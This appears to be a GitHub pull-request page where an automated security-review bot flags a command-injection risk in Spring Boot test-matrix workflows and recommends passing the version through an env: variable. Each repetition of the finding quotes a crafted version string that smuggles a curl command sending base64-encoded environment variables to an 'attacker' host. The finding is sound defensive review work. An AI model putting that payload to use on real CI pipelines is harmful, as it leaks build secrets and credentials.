Auto update Test Matrix for Spring Boot #4743
1 issue
security-review: Found 1 issue (1 medium)
Medium
PR-controlled JSON version file flows into shell `run:` step via matrix expression, enabling command injection - `.github/workflows/spring-boot-4-matrix.yml:24-39`
.github/data/spring-boot-3-versions.json (modifiable in a PR) is read by the load-versions job and passed into the matrix; the Update Spring Boot 3.x version step then expands ${{ matrix.springboot-version }} directly inside a run: block. A crafted value such as 3.4.1"; curl https://attacker/$(env | base64) # becomes injected shell on the runner. Move the value to an env: variable (e.g. SPRINGBOOT_VERSION: ${{ matrix.springboot-version }}) and reference $SPRINGBOOT_VERSION instead. The identical pattern exists in spring-boot-2-matrix.yml and spring-boot-4-matrix.yml.
Also found at:
.github/workflows/spring-boot-2-matrix.yml:39
⏱ 6m 56s · 543.7k in / 56.8k out · $2.31
Annotations
Check warning on line 39 in .github/workflows/spring-boot-4-matrix.yml
sentry-warden / warden: security-review
PR-controlled JSON version file flows into shell `run:` step via matrix expression, enabling command injection
`.github/data/spring-boot-3-versions.json` (modifiable in a PR) is read by the `load-versions` job and passed into the matrix; the `Update Spring Boot 3.x version` step then expands `${{ matrix.springboot-version }}` directly inside a `run:` block. A crafted value such as `3.4.1"; curl https://attacker/$(env | base64) #` becomes injected shell on the runner. Move the value to an `env:` variable (e.g. `SPRINGBOOT_VERSION: ${{ matrix.springboot-version }}`) and reference `$SPRINGBOOT_VERSION` instead. The identical pattern exists in `spring-boot-2-matrix.yml` and `spring-boot-4-matrix.yml`.
Check warning on line 39 in .github/workflows/spring-boot-2-matrix.yml
sentry-warden / warden: security-review
[JNS-EE5] PR-controlled JSON version file flows into shell `run:` step via matrix expression, enabling command injection (additional location)
`.github/data/spring-boot-3-versions.json` (modifiable in a PR) is read by the `load-versions` job and passed into the matrix; the `Update Spring Boot 3.x version` step then expands `${{ matrix.springboot-version }}` directly inside a `run:` block. A crafted value such as `3.4.1"; curl https://attacker/$(env | base64) #` becomes injected shell on the runner. Move the value to an `env:` variable (e.g. `SPRINGBOOT_VERSION: ${{ matrix.springboot-version }}`) and reference `$SPRINGBOOT_VERSION` instead. The identical pattern exists in `spring-boot-2-matrix.yml` and `spring-boot-4-matrix.yml`.